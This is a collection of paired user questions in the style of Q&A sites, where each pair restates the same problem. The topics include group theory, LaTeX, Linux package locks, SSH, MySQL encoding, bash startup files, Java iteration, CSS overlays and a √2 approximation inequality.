$a,b,c$ are positive reals with $abc = 1$. Prove that $$\frac{1}{a^3(b+c)}+\frac{1}{b^3(a+c)}+\frac{1}{c^3(a+b)}\ge \frac32$$ I try to use AM $\ge$ HM. $$\frac{\dfrac{1}{a^3(b+c)}+\dfrac{1}{b^3(a+c)}+\dfrac{1}{c^3(a+b)}}3\ge \frac{3}{a^3(b+c)+b^3(a+c)+c^3(a+b)}$$ Then how I proceed.
Prove that if in a group $(ab)^2= a^2 b^2$ then the group is commutative. I am having a hard time doing this. Here is what I have so far: Proof: $a^2 b^2= a^1 a^1 b^1 b^1$ =$aa^{-1}bb$ =ebb Hence,$aa^{-1}=e$ I am stuck, I do not know if this is the right process in proving this
I want to show that $\forall x$,$y\in G$, $(xy)^2=x^2y^2 \iff G $ is an abelian group. Proof of the backward direction seems easy enough: Assume $G$ is an abelian group. Then consider $(xy)^2=(xy)(xy)$. By associativity, $(xy)(xy)=xyxy$. Since $G$ is abelian, $xyxy=xxyy=x^2y^2$. Proof of the forward direction I attempt by contrapositive: That is, assume $G$ is not an abelian group. Then, consider $(xy)^2=xyxy$ as above. Yet, $xyxy\neq xxyy=x^2y^2$ since we no longer have commutativity. Is this proof by contrapositive completely correct?
Using the cancel package, you can cross expressions in various ways. However, what I can do to cross a symbol, with the strikethrough a different color, say red.
Is it possible to assign multiple colors to the command "cancelto" of the package cancel? This answer is almost there, but it changed the color for all the environments, at least it's my guess. I was imagining something customizable, for example: \renewcommand{\CancelColor}{\color{color of choice}} %%%%%%color as an input%%%%%%% \cancelto[color of choice number 1]{0}{x} \cancelto[color of choice number 2]{0}{x^2} Regards,
I'm trying to change a line created with the line tool into a dotted line but I can't find the property for that. I've tried resetting the line tool but I still don't get the option. At the moment it looks like this. Instead of this
I have drawn some lines with the line tool in Photoshop CS6. The lines are vectors on a shape layer. If I select the line with path selection tool I can change the stroke colour, in the options panel at the top, but not the stroke width (if I change the stroke width nothing happens). Is there a way to change the stroke width?
This statement "the probability that a continuous variable exactly equals to a given value is zero" is commonly used. is this an axiom, a property of continuous variable, a rule of integration or a conclusion of measure theory? please provide a citation of a textbook or formally publication. the itself some answer linked is being tagged "unclear sources"
My understanding is that a random variable is actually a function $X: \Omega \to T$, where $\Omega$ is the sample space of some random experiment and $T$ is the set from which the possible values of the random variable are taken. Regarding the set of values that the random variable can actually take, it is the image of the function $X$. If the image is finite, then $X$ must be a discrete random variable. However, if it is an infinite set, then $X$ may or may not be a continuous random variable. Whether it is depends on whether the image is countable or not. If it is countable, then $X$ is a discrete random variable; whereas if it is not, then $X$ is continuous. Assuming that my understanding is correct, why does the fact that the image is uncountable imply that $Pr(X = x) = 0$. I would have thought that the fact that the image is infinite, regardless of whether it is countable or not, would already imply that $Pr(X = x) = 0$ since if it is infinite, then the domain $\Omega$ must also be infinite, and therefore $$Pr(X = x) = \frac{\text{# favorable outcomes}}{\text{# possible outcomes}} = \frac{\text{# outcomes of the experiment where X = x}}{|\Omega|} = \frac{\text{# outcomes of the experiment where X = x}}{\infty} = 0$$ What is wrong with my argument? Why does the probability that a continuous random variable takes on a specific value actually equal zero?
Did Harvey Dent, aka Two Face really die at the end of The Dark Knight? I thought it's canon that he becomes an enemy to Batman. I haven't seen the other Batman movies yet, so careful with spoilers...
Does the Two-Face die in the final scene of the Dark Knight? If he does, then how does he become one of the long lasting rival of Batman?
I have a group of tiffs I want to georeference. I have the photo centers for each of the tiffs but they are not linked. After looking at the comments I believe there would be a way to take the attribute of the .shp, Northing and Easting, and apply it to the tiff? The frame number for the photo is in the attribute table of the points. I assume you could use this to look into the folder and pull out the correct photo and reference it to said location. I hope this explains what I am looking for in a better light.
I have a series of point features which represent road signs and each point has one photo of each sign associated with it. I want to create a mapbook with the locations of the signs shown as points and the photo displayed next to the point. Each page in the mapbook will have multiple sign locations and photos on it. Is there an easy way to automate importing photos into an MXD in data view next to a point feature? There are about 1000 hence need for automation. Or somehow "labeling" a feature with a photo?
Let $G$ be any group. Let $H$ consist of the same set of elements as $G$, but with a new operation given by $a ∗ b = ba$, for all $a$ and $b$. Show that $H$ is a group, and that it is isomorphic to $G$. I am having trouble proving what is being asked of me. First, I have no information about how the operation is in $G$. I suppose I could define the operation in $G$ as is usually done for group definition, this is if $a, b \in G$, then its product is $ab$. Based on that, $H$ with the new operation would be a group as well, since they have the same elements. The truth seems like nonsense to me but I can't think of anything else. Also I have tried to establish an isomorphism and let the rest follow from this fact, but so far it has been unsuccessful. Any hint would be helpful.
Let $G = (G,\times)$ be a group, and $G^{op} = (G,o), a \ o \ b = b \times a$ be it's opposite group. I need to prove that there is a group isomorphism $f: G \to G^{op}$ Obviously, $id_G: G \to G$ is a bijection, but it's a group homomorphism if and only if $G$ is commutative.
I am not so into Linux and I have the following problem. I was installing RedMine on a remote Ubuntu Server via SSH, following the official tutorial: The installation process is pretty simple but when I was performing this statment: sudo apt-get install redmine redmine-mysql I lost connection...so I come back into my server reconnecting to it...so I perform again this command but now I am obtaining this error message: *** System restart required *** Last login: Fri Nov 11 11:57:11 2016 from 91.253.121.46 root@Betrivius-VPS:~# apt-get install redmine redmine-mysql E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable) E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it? root@Betrivius-VPS:~# Reading online it seems that it means that the prvious installation process is not ended. So I don't know if I can retrieve it in some way or abort it. When I log into my remote server appear the message System restart required. I don't know if this message is causated by this situation or not and I don't know if restart my server will solve this issue. So what is the best solution for this problem?
I get this error when trying to use apt-get: E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable) E: Unable to lock the administration directory (/var/lib/dpkg/) is another process using it? How can I fix this?
I am not able to prove this, could any one help me? $G$ be a finite group, $G$ has exactly one proper subgroup. We need to prove that $G$ is cyclic and $|G|=p^2$ where $p$ is prime. Thank you.
Suppose that $G$ is a group that has exactly one nontrivial proper subgroup. Then we have to show that $G$ is cyclic and order of $G$ is $p^2$ where $p$ is prime. I tried as, if $a$ and $b$ two element of $G$ of order $p$ and $q$ then $\langle a \rangle$ and $\langle b \rangle$ are two proper subgroups – a contradiction. Thus every element of $G$ have order some power of $p$. After this I am stuck. Thanks for help.
I would like to do a minor change to the form in which articles are added, it's just a few lines of CSS. However drupal doesn't seem to load the stylesheets of my theme if the admin interface is used in non-overlay mode. So is there a way to add CSS to the administration interface without touching the system stylesheets?
Is there a way to override just some CSS rules used by the admin theme, without touching the admin theme itself (via some theme functions or module hooks)? For example, I'd like to add a text-align: right to every integer field in admin forms (and in edit nodes too).
How I can use this style of L in math mode?
As can be seen in above picture, there are lots of fonts or font styles that can be used in math mode. What are all the fonts or font styles I can use in math mode, and which packages are required in order to use them? Let's assume I'm using standard Computer Modern or Latin Modern (lmodern) fonts. Edit: It'd be great to see examples of what the different styles look like, probably via images. I'm not interested in a reproduction of the picture, which can be found at ; the picture is for illustration purposes only. Furthermore, this is supposed to become a one-catches-all question for questions like the beforementioned. If I actually were looking for these fonts, I wouldn't just lazily ask here but look e.g. at , tables 3.14 and 6.4 first.)
I've created a feature to update a menu. Then in my deploy module, I did this: function phoenix_deploy_update_7106() { $feature_list = array( 'campus_dropdown', ); features_revert($feature_list); } but then running drush updb -y on the staging site, doesn't enable my new menu items. Have I gotten the commands right to revert the feature?
I have a Feature installed using an Installation Profile. But I always have to go and Revert a particular Component so that it's no longer Overridden (so that, for example, the Feature's Blocks appear). I just wanted to know if I can take this step programmatically using code itself in the Installation Profile. In the screenshot below, I've shown the component that has to be reverted programmatically (in the screenshot, it's already reverted back so check box is not available).
I'm trying to search through some files in PHP and I want to give the user a choice between matching any or every term. E.g.: Search terms: [apple,banana] Is it possible to return only files that have both words in it? Also my OR would use the following: $s_terms = "(" . implode("|", explode(",", $s_terms)) . ")"; I want to separate terms with , and use it in a RegEx match like (apple|banana). Does the above code do that? Thank you in forward EDIT: The other question did not answer my question, but I found something that works: (.*apple.*banana.*)
Obviously, you can use the | (pipe?) to represent OR, but is there a way to represent AND as well? Specifically, I'd like to match paragraphs of text that contain ALL of a certain phrase, but in no particular order.
Our DM was saying that an Arcane Trickster Rogue casting a Firebolt does not get the sneak attack damage on a hit. Is that right?
Sneak Attack says: When you attack a creature and hit, you can deal extra damage to that target if you have advantage against it or if another enemy of the target is within 5 feet of it and that enemy is able to take actions. Emphasis mine. Now, suppose I am going to play a High Elf rogue, and select ray of frost as my racial cantrip. Since the ray's damage scales by level (unlike Rogue's standard physical damage progression, which is quite limited), I am thinking about Sneak Attacking with that spell, which nets into 8d6+5d8 plus 10-foot decrement of movement speed in the 20th level, if it's legal. Is this behavior correct? Are spells with attack rolls valid for making sneak attacks, like they were in 3.PF? If they do, does the added Sneak Attack damage assume the same damage type (e. g. cold for ray of frost) as the spell's damage type? Does allowing this give unfair advantage on my hypothetical High Elf rogue over other characters?
I'm having some weird issue that I cannot understand (I'm trying to ssh to alexus and according to ssh it tells me it cannot resolve, yet when i use host to resolve it resolves w/out any issues: mbp:~ alexus$ ssh -v alexus OpenSSH_6.2p2, OSSLShim 0.9.8r 8 Dec 2011 debug1: Reading configuration data /Users/alexus/.ssh/config debug1: Reading configuration data /etc/ssh_config debug1: /etc/ssh_config line 20: Applying options for * debug1: /etc/ssh_config line 53: Applying options for * ssh: Could not resolve hostname alexus: nodename nor servname provided, or not known mbp:~ alexus$ host alexus alexus.XXXXXXXXX.org is an alias for XXX.XXXXXXXXX.org. XXX.XXXXXXXXX.org has address 10.XX.XXX.XXX mbp:~ alexus$ How do I troubleshoot this issue?
We have a linux box (called jumper) that is used to access servers in a few separate DMZs. Each DMZ has its own subdomain name (e.g. idmz.example.org, jdmz.example.org), and each subdomain has its own authoritative name server. We're in the process of replacing the old Solaris jumper with a new Linux box. Most things have worked well, but we have a problem with connecting to servers in the subdomain idmz.example.com using SSH. Ping works fine; we can resolv the name using dig, but SSH says "Could not resolve". Name resolution works well on the server side, and when we connect using the IP address there is no delay or timeout. But SSH on the client side claims to not be able to resolve the server. Ping and failed SSH connection: jenny@jumper$ ping server.idmz.example.com PING server.idmz.example.com (192.168.1.3) 56(84) bytes of data. jenny@jumper$ ssh -v server.idmz.example.com OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * ssh: Could not resolve hostname server.idmz.example.com: Name or service not known Successful SSH connection using IP instead of host name: jenny@jumper$ ssh 192.168.1.3 [email protected]'s password: The one difference I can see from the client side is that I can't get an authoritative answer from the name servers for idmz, but I do get it from all the other DMZ domains.
I'm having a problem storing certain UTF-8 characters in MySQL. mb_internal_encoding("UTF-8"); $pdo = new \PDO('mysql:host='.DB_HOST.';dbname='.DB_NAME, DB_USER, DB_USER_PASSWORD, array(PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8")); $statement = $pdo->prepare("INSERT INTO test (value) VALUES (:value)"); $statement->execute(array(":value" => "👻"); This ends up with the 👻being stored as "????". The column is set to utf8mb4_unicode_ci. Some other characters that don't work are 🌍and 🎃, whereas things like ☽,☯,❁,☼,(airplane that won't show up on stackoverflow), ▲, and ▽ do work. Any idea what's going on?
I'm setting up a new server and want to support UTF-8 fully in my web application. I have tried this in the past on existing servers and always seem to end up having to fall back to ISO-8859-1. Where exactly do I need to set the encoding/charsets? I'm aware that I need to configure Apache, MySQL, and PHP to do this — is there some standard checklist I can follow, or perhaps troubleshoot where the mismatches occur? This is for a new Linux server, running MySQL 5, PHP, 5 and Apache 2.
I have some data which looks roughly periodic - is there a nice way to measure this? This is an example I'm working on and I'd like a metric that I will be able to just threshold to give a decision of yes or no. I was thinking maybe looking into the Fourier domain or looking at correlation. Many thanks.
This post is the continuation of another post related to a . Basically, at this point I'm interested in a robust way to discover the periodicity/seasonality of a generic time series affected by a lot of noise. From a developer point of view, I would like a simple interface such as: unsigned int discover_period(vector<double> v); Where v is the array containing the samples, and the return value is the period of the signal. The main point is that, again, I can't make any assumption regarding the analyzed signal. I already tried an approach based on the signal autocorrelation (detecting the peaks of a correlogram), but it's not robust as I would like.
My computer has two ethernet adapters and I have two internet connections which have their respective routers connected to those ethernet ports on the PC. Is it possible to use them both at the same time for mutually exclusive tasks? for ex, using one connection for downloading torrents while using the other one for surfing web via a browser?
I am currently using a computer in a corporate environment which is connected to the intranet through the ethernet adapter and to the internet through the wireless adapter. The problem is this: the ethernet adapter has higher priority in the routing table, so if the wire is connected to the ethernet adapter I cannot neither access the internet nor get emails in Outlook. I am wondering if it is possible to bind, for instance, Internet Explorer to the ethernet adapter so I can access to the intranet and Chrome and Outlook to the wireless adapter so I can both surfer the internet and get emails when the wire is connected. I have already tried ForceBindIP but I cannot get it working on Windows 7 64 bits. Can anyone help me out? Thanks, Bralok
How many words of $13$ letters can be constructed from the English alphabet which contain $4$ vowels and $9$ different consonants (vowels can be the same). This is what I think: Pick the four vowels (does this arrange them as well?) = $5^4$. Choose the consonants = $\binom{13}9$ Now then arrange these consonants in $9!$ ways Total = $5^4 \binom{13}9 9!$. My friend got this: $5^4 \binom{21}9 \binom{13}4$ to arrange the four vowels (with the last binomial).
How many words of $13$ letters of the English Alphabet can we constructed which contain $4$ vowels and $9$ different consonants? This is what I did: Choose the consonants (diff.) in $\binom{21}9$ ways. Arrange these consonants in $9!$ ways. Now we have $4$ empty spots remaining for the vowels, which can be chosen in $5^4$ ways. My question is: Is this the correct way to think about it? I'm unsure whether the $5^4$ arranges the vowels or not,
I use Manual Focus to take pictures. I find picture to be of high quality(clarity) when i see the picture in the camera screen. But if i import the picture to my PC it becomes blurry and not that great in details. I have tried with L, RAW+L, L (Day and Night). Still the image when viewed in bigger screen looks blurry. I use Canon 700D (18-55 IS II and 55-250 IS II, AP:3.5 - 5.8) to take pictures. I am new to photography. Seeking some inputs from peers over here with regard to take better quality pictures. Sample Picture:
I use a Canon EOS Rebel T3i (600D) with the kit lens. I have experimented a lot with different settings and modes, but I feel like I have wasted many good shots that could have looked amazing, if only they were a little bit sharper. I use auto-focus on most of my pictures and make sure to choose the right focus point, but all of my photos are still a little bit out of focus. When I zoom in, I can see that the pixels are not very crisp or well-aligned. I am not sure if this issue is caused by my equipment or skills.
I have ñ's and á's in the cells of my database. My collation is set to utf8, but on the website my characters are not displaying right. Esperamos que disfrute del programa y aprenda bastantes consejos �tiles para padres para mejorar el desarrollo de su hijo. Tambi�n puede aprender de otras mam�s y ellas de usted. El Foro... Displaying it via SELECT statement and then through php on the page. Let me know if you need more information. Perhaps this is a common problem?
I'm setting up a new server and want to support UTF-8 fully in my web application. I have tried this in the past on existing servers and always seem to end up having to fall back to ISO-8859-1. Where exactly do I need to set the encoding/charsets? I'm aware that I need to configure Apache, MySQL, and PHP to do this — is there some standard checklist I can follow, or perhaps troubleshoot where the mismatches occur? This is for a new Linux server, running MySQL 5, PHP, 5 and Apache 2.
In the Hunger Games franchise, what is the state of the rest of the world? What has become of the world in this futuristic society? Is there any mention either in the movies or books which would lead us to believe what's going on outside of Panem?
In relation to my other question about "the rest of the world" in The Hunger Games, is there any indication as to how the rest of the world sees what's happening in Panem? In today's society, if there is a huge upheaval going on in another country (especially one as large as Panem), there would be great interest as to what is going on. Are there any clues for us to help us understand how the rest of the world views the event (or do they even care)?
I've been creating a project for managing my complete terminal environment. One of the things I manage are the dotFiles. So I have separate dotfiles for e.g. ivonet-alias.sh ivonet-docker.sh ivonet-functions.sh etc. When I run setup.sh from my project I install symlinks (ln) to my ivonet-*.sh files in my HOME folder. Now to activate them I do the following (once): prefix="ivonet" resource="${HOME}/.zshrc" echo "" >>${resource} echo "# Personal dotFile resources:" >>${resource} echo "for f in \${HOME}/.${prefix}-*.sh; do source \${f}; done" >>${resource} On my own machine I use oh-my-zsh shell and I make it so that that file is changed so that when I open a new terminal session all my dotfiles are sourced in. This works fine but now a couple of colleagues asked to use my setup for dotfiles too and I gave them my repo and it didn't work as I had hoped. The were not using zsh but bash, but even that was not uniform. When I changed the setup to write to .bashrc it worked for one colleague but not for the other. So in the end I had to do it multiple ways. once in .profile twice in .bash_profile once in .bashrc Can anyone help me on how I can determine where to make the changes? I would like to be able to check this from a script something like: check=$(which bash) if [[ -z "${check}" ]]; then #do stuff here fi but I have no idea how to do this. I know it looks like this but I'm more interested on how I can automatically determine which file is loaded.
I've used a number of different *nix-based systems of the years, and it seems like every flavor of Bash I use has a different algorithm for deciding which startup scripts to run. For the purposes of tasks like setting up environment variables and aliases and printing startup messages (e.g. MOTDs), which startup script is the appropriate place to do these? What's the difference between putting things in .bashrc, .bash_profile, and .environment? I've also seen other files such as .login, .bash_login, and .profile; are these ever relevant? What are the differences in which ones get run when logging in physically, logging in remotely via ssh, and opening a new terminal window? Are there any significant differences across platforms (including Mac OS X (and its Terminal.app) and Cygwin Bash)?
I have installed Ubuntu in a drive that has low disk space I need more space on that disk. How can I add more space to that disk? NAME FSTYPE LABEL UUID MOUNTPOINT sda ├─sda1 ntfs System Reserved 6A60F08B60F05F6F ├─sda2 ntfs DE921B35921B119F ├─sda3 ntfs Software & Study 04747C18747C0EA4 ├─sda4 ├─sda5 ntfs Videos E8B4589FB45871D4 ├─sda6 ntfs Audio & Natok C616AD7C16AD6E5D ├─sda7 ntfs SSSS 464C2B9B4C2B8531 ├─sda8 swap ee80a977-2201-4144-b63a-53ac92557ab4 [SWAP] └─sda9 ext4 1d5eb22e-590d-4773-abb5-80906f0709d0 / sr0 Filesystem Size Used Avail Use% Mounted on udev 2.9G 0 2.9G 0% /dev tmpfs 591M 9.1M 582M 2% /run /dev/sda9 26G 21G 4.1G 84% / tmpfs 2.9G 77M 2.9G 3% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 2.9G 0 2.9G 0% /sys/fs/cgroup cgmfs 100K 0 100K 0% /run/cgmanager/fs tmpfs 591M 76K 591M 1% /run/user/1000 /dev/sda3 127G 110G 18G 87% /media/sazib/Software & Study
Previously, I have installed Windows 7 on my 320 GB laptop with three partitions 173, 84 and 63 GB each. The 63 GB partition was where the Windows was installed. The rest were for file containers. Now I changed my OS to Ubuntu 12.04 LTS. I installed Ubuntu by replacing the entire Windows 7 on the 63 GB partition. The rest of the partitions remain as an NTFS Windows partition and I can still access them both (the 173 and 84 GB partitions). Now I want to change the two partitions of Windows into an Ubuntu format partitions plus most importantly, I want to extend the 63 GB partition to more than a 100 GB because at the moment I am running out of disk space. Whenever I try to install any application, especially using wine, it always complains for a shortage of disk space. How do I do the extending activity before I entirely format my laptop again and lose all the important files on my partitions?
I have a vector aVector. It starts at some memory address, let it be 0x00cff87f in this case. I also have a double D. Now, when the program accesses the D above, it accesses some other address, of course. What I need is that when the program accesses D above, to be pointed to address 0x00cff87f, the start of that array, and take the first sizeof(double) bytes as a double. I tried passing pointer to D to a function and switch it, but that just changed where that pointer was pointing at, once I exited the function, D remained unchanged. Basically, I need some way to tell the program that four bytes of memory starting at 0x00cff87f are a double and that when I ask for a double named D to get me the number at that address. I have an array in memory that needs to be decomposed to basic types, but instead of copying everything unnecessarily, I'd rather just tell the program where it already is. How do I do that? EDIT: I have a vector of unsigned chars that I want to read into other types. Something that C# BinaryReader would do with MemoryStream. I don't know how to do it in c++. There are only fstreams, there isn't one that deals with (binary) files already in memory.
I get a transmission over the network that's an array of chars/bytes. It contains a header and some data. I'd like to map the header onto a struct. Here's an example: #pragma pack(1) struct Header { unsigned short bodyLength; int msgID; unsigned short someOtherValue; unsigned short protocolVersion; }; int main() { boost::array<char, 128> msgBuffer; Header header; for(int x = 0; x < sizeof(Header); x++) msgBuffer[x] = 0x01; // assign some values memcpy(&header, msgBuffer.data(), sizeof(Header)); system("PAUSE"); return 0; } Will this always work assuming the structure never contains any variable length fields? Is there a platform independent / idiomatic way of doing this? Note: I have seen quite a few libraries on the internet that let you serialize/deserialize, but I get the impression that they can only deserialize something if it has ben previously serialized with the same library. Well, I have no control over the format of the transmission. I'm definitely going to get a byte/char array where all the values just follow upon each other.
I know that ''.join(list) is the preferred method to concatenate strings as opposed to say: for x in list: s += x My question is why is this much faster? Also, what if I need to concatenate items that are not already in a list? Is it still faster to put them in a list just for the purpose of doing the ''.join(list)? EDIT: This is different than the previously linked question because I'm specifically interested in knowing if the items are not in a list already, is it still recommended for performance reasons to put them in a list for the sole purpose of joining.
There are a lot of articles around the web concerning python performance, the first thing you read: concatenating strings should not be done using '+': avoid s1+s2+s3, instead use str.join I tried the following: concatenating two strings as part of a directory path: three approaches: '+' which i should not do str.join os.path.join Here is my code: import os,time s1='/part/one/of/dir' s2='part/two/of/dir' N=10000 t=time.clock() for i in xrange(N): s=s1+os.sep+s2 print time.clock()-t t=time.clock() for i in xrange(N): s=os.sep.join((s1,s2)) print time.clock()-t t=time.clock() for i in xrange(N): s=os.path.join(s1,s2) print time.clock()-t Here the results (python 2.5 WinXP) 0.0182201927899 0.0262544541275 0.120238186697 Shouldn't it be exactly the other way round ?
I installed Windows 10 and a bunch of games on a 500 GB drive. I also have a spare 64 GB SSD lying around. Can I use the SSD as an automatic cache? If so, how? I have looked around a fair bit, but most answers seem to be for Windows 7 or 8, or otherwise outdated. What's the best way to have an SSD cache on a modern Windows 10 computer? I do not have Intel, so SRT is not an option. This question is not a duplicate of because Dataplex is not supported on my SSD because it is a standard SSD, not a specialized "cache drive", and FancyCache is only supported through Windows 8, and not on Windows 10.
My motherboard is Asus P8B75-M. It doesn't have Intel Smart Response. But recently I bought a SSD. Since I mostly use linux I have Linux installed in it. But can I use it to speed up Windows also? How? I don't have Smart Response... (I run Windows 8.1). The SSD is only 64GB.
So anytime I import an SVG and then apply the solidify tool, it will give me these weird spikes. How can I fix this? Here’s footage of what I mean:
I have imported what appears to be a clean SVG into Blender (works fine for 2D) but when I try to extrude it, I am seeing spikes appear. Can anyone tell me what is the issue and how I can fix it? Many Thanks]
Suppose someone asks the question: How long ago did humans evolve from monkeys? Since humans did not evolve from monkeys, this question is unanswerable as it is based on a misunderstanding of the concept of human evolution. Is there a technical word for these types of questions founded in a misunderstanding of a concept? As in you would respond to this by saying: I cannot answer that because you've asked me a _______ question.
For example, if I ask someone "What does it feel like to be a gay Christian?" I'm suggesting that the person to whom I'm asking is gay and Christian, neither of which may be true.
When I run sudo apt-get update && sudo apt-get -y upgrade command in my Ubuntu18.04 system.
When updating, I get the following error message: W: The repository 'http://ppa.launchpad.net/mc3man/trusty-media/ubuntu xenial Release' does not have a Release file. Here, I find another statement on this error: This recommends removing certain PPAs; and, I'm not sure if I should do that since it might mean not getting the updates that I need. Is this what I should do?
I am comparing every entry in a HashMap to every other entry in the same HashMap. While iterating the HashMap I remove some elements based on some conditions. However I keep getting the ConcurrentModificationException. Iterator<Entry<String, String>> i = map.entrySet().iterator(); while (i.hasNext()) { Entry<String, String> next = i.next(); for (Entry<String,String> e : map.entrySet()) { if (e.getKey() != next.getKey()){ String[] positions_e = fields_e[1].split("-"); int start_e = Integer.parseInt(positions_e[0]); int end_e = Integer.parseInt(positions_e[1]); String[] positions_next = fields_next[1].split("-"); int start_next = Integer.parseInt(positions_next[0]); int end_next = Integer.parseInt(positions_next[1]); if (start_e <= start_next || end_e <= end_next )) { i.remove(); } } }
We all know you can't do the following because of ConcurrentModificationException: for (Object i : l) { if (condition(i)) { l.remove(i); } } But this apparently works sometimes, but not always. Here's some specific code: public static void main(String[] args) { Collection<Integer> l = new ArrayList<>(); for (int i = 0; i < 10; ++i) { l.add(4); l.add(5); l.add(6); } for (int i : l) { if (i == 5) { l.remove(i); } } System.out.println(l); } This, of course, results in: Exception in thread "main" java.util.ConcurrentModificationException Even though multiple threads aren't doing it. Anyway. What's the best solution to this problem? How can I remove an item from the collection in a loop without throwing this exception? I'm also using an arbitrary Collection here, not necessarily an ArrayList, so you can't rely on get.
I was doing a problem in Optics and I had to use the mirror formula for one specific step i.e 1/u + 1/v = 1/f. Okay so it's a concave mirror, with the object placed behind the focus. That means V, U and f are all going to be negative(sign convention). Now I know the value of U and f , and the value of V is supposed to be found. Should I substitute V as (-V) or keep it as V itself? I'm not sure if the answer would come with the correct sign.
This is an equation given in my book. The question is why have they used a negative sign on the LHS? Now, if you try to derive the mirror equation with simple geometry, you get 1/v +1/u =1/f . I got that equation without applying any signs there! So what is the need to apply the signs ‘here'? If i try to derive this equation ( the one in the photo ) i get the exact answer, but with the positive sign in the LHS. WHY we use the negative sign in the derivation, and then again we use conventions while solving the questions?
I have created a graph but i'm not able to add the label in the node, below my code \begin{tikzpicture} \SetGraphUnit{4} \SetVertexArt \renewcommand*{\VertexInnerSep}{8pt} \renewcommand*{\VertexBallColor}{blue!50} \Vertices{circle}{1,2,3,4,5,6,7,8} \AddVertexColor{blue}{1,2,3,4,5,6,7,8} \SetUpEdge[style={->,ultra thick},color=blue!50] \Edge(1)(2) \Edge(1)(3) \Edge(1)(4) \Edge(1)(5) \Edge(1)(6) \Edge(2)(3) \Edge(2)(4) \Edge(2)(5) \Edge(2)(6) \Edge(3)(4) \Edge(3)(5) \Edge(3)(6) \Edge(4)(5) \Edge(4)(6) \Edge(5)(6) \Edge(2)(6) \Edge(2)(3) \Edge(2)(1) \Edge(2)(8) \Edge(6)(3) \Edge(6)(1) \Edge(6)(8) \Edge(3)(1) \Edge(3)(8) \Edge(1)(8) \Edge(7)(8) \Edge(5)(1) \Edge(5)(6) \Edge(5)(2) \Edge(5)(7) \Edge(1)(6) \Edge(1)(2) \Edge(1)(7) \Edge(6)(2) \Edge(6)(7) \Edge(2)(7) \end{tikzpicture} Can you help me? Thanks in advance
What is the correct way to label and captionize a tkizpicture inside a tabular environment? (Since figures are not allowed inside a tabular) Excerpt from my .tex: \begin{tabular}{l r} & \begin{tikzpicture} ... % I want to label this tikzpicutre and give it a nice caption \end{tikzpicture} \end{tabular} Outside the tabular I would have done it like this: \begin{figure} \begin{tikzpicture} ... \end{tikzpicture} \label{fig:...}\caption{...} \end{figure} Basically I want to create a page that looks like this: ---------------------------- |Text Text TKIZ TKIZ | |TextText TKIZ TKIZ | | Text Text Figure X: ...| | | |This text is under the | |table and references above| |TKIZ Figure with \ref{..} | ----------------------------
I would like to add an overlay effect to all images, with text overlaying the image. I tried tutorials but could not get it to work. All the images are located in main.js. const petsData = [{ name: "Purrsloud", species: "Cat", favFoods: ["wet food", "dry food", "<strong>any</strong> food"], birthYear: 2016, brick: "brick", photo: "https://learnwebcode.github.io/json-example/images/cat-2.jpg" }, { name: "Barksalot", species: "Dog", birthYear: 2008, photo: "https://learnwebcode.github.io/json-example/images/dog-1.jpg" }, { name: "Meowsalot", species: "Cat", favFoods: ["tuna", "catnip", "celery"], birthYear: 2012, photo: "https://learnwebcode.github.io/json-example/images/cat-1.jpg" } ]; function petTemplate(pet) { return ` <div class="animal"> <img class="pet-photo" src="${pet.photo}"> <h2 class="pet-name">${pet.name} <span class="species">(${pet.species})</span></h2> </div> `; } document.getElementById("app").innerHTML = ` <h1 class="app-title">Pets (${petsData.length} results)</h1> ${petsData.map(petTemplate).join("")} `; .img { max-width: 400px; position: relative; } .app-title { text-align: center; font-weight: normal; font-size: 2.6rem; } .animal { max-width: 650px; padding: 20px; margin: 30px auto; background-color: #fff; box-shadow: 3px 3px 3px rgba(0, 0, 0, 0.2); overflow: hidden; } .animal h4 { margin: 0 0 6px 0; } .pet-photo { float: left; width: 100%; display: block; transition: all linear 0.7s; margin-right: 15px; position: relative; } .pet-name { font-size: 2rem; font-weight: normal; margin: 0 0 1rem 0; } .species { font-size: 0.9rem; color: #888; vertical-align: middle; } <div id="app"></div> <script src="main.js"></script> Thank you. Edit - Want it to look something like this need to show the text on hover with a black overlay appearing on the back of the text (when hovered on)
I want to overlay one image with another using CSS. An example of this is the first image (the background if you like) will be a thumbnail link of a product, with the link opening a lightbox / popup showing a larger version of the image. On top of this linked image I would like an image of a magnifying glass, to show people that the image can be clicked to enlarge it (apparently this isn't obvious without the magnifying glass).
I saw a problem online (Orig) as follows. I'm curious if there's a straightfoward way to prove it using induction. It's easy to prove that (Orig) holds when $n=1$ or $m=1$ , which seems like a good way to set up base cases, but I'm stuck on where to go from there. For all positive integers $m, n$, show that the following inequality (Orig) holds: $$ \left|\sqrt{2} - \frac{m}{n}\right| > \frac{1}{3n^2} \tag{Orig} $$ Note that (Orig) is equivalent to (201) below, because the LHS is irrational and the RHS is rational: $$ \left|\sqrt{2} - \frac{m}{n}\right| \ge \frac{1}{3n^2} \tag{201} $$ I suspect there's probably a general result about best rational approximations to an irrational number like $\sqrt{2}$ or something using the convergents of the continued fraction representation of $\sqrt{2}$ (101) . (Orig) feels like a statement of how well you can approximate $\sqrt{2}$ with rational numbers, but I don't know whether the $\frac{1}{3n^2}$ bound is tight or not. $$ \sqrt{2} = 1 + \cfrac{1}{2 + \cfrac{1}{2 + \cfrac{1}{2 + \cfrac{1}{2 + \cdots}}}} \tag{101} $$ I have some base cases as follows, $n=m=1$ (102); $n=1, m > 1$ (109); $n>1, m=1$ (117). $$ \left| \sqrt{2} - \frac{m}{n} \right| \ge \frac{1}{3n^2} \;\;\;\text{when $n = m = 1$} \tag{102} $$ And the proof of (102). $$ \left| \sqrt{2} - 1 \right | < \frac{1}{3} \tag{NG1} $$ $$ \sqrt{2} - 1 < \frac{1}{3} \tag{104} $$ $$ \sqrt{2} < \frac{4}{3} \tag{105} $$ $$ 4 < \frac{16}{9} \tag{106} $$ $$ 36 < 16 \tag{107} $$ $$ \bot \tag{108} $$ And the next case (109) $$ \left| \sqrt{2} - \frac{m}{n} \right| \ge \frac{1}{3n^2} \;\;\;\text{when $n = 1, m \ge 2$} \tag{109} $$ The expression inside the absolute value on the LHS of (109) is always negative (NG2). $$ m - \sqrt{2} < \frac{1}{3} \tag{NG2} $$ $$ m < \frac{1}{3} + 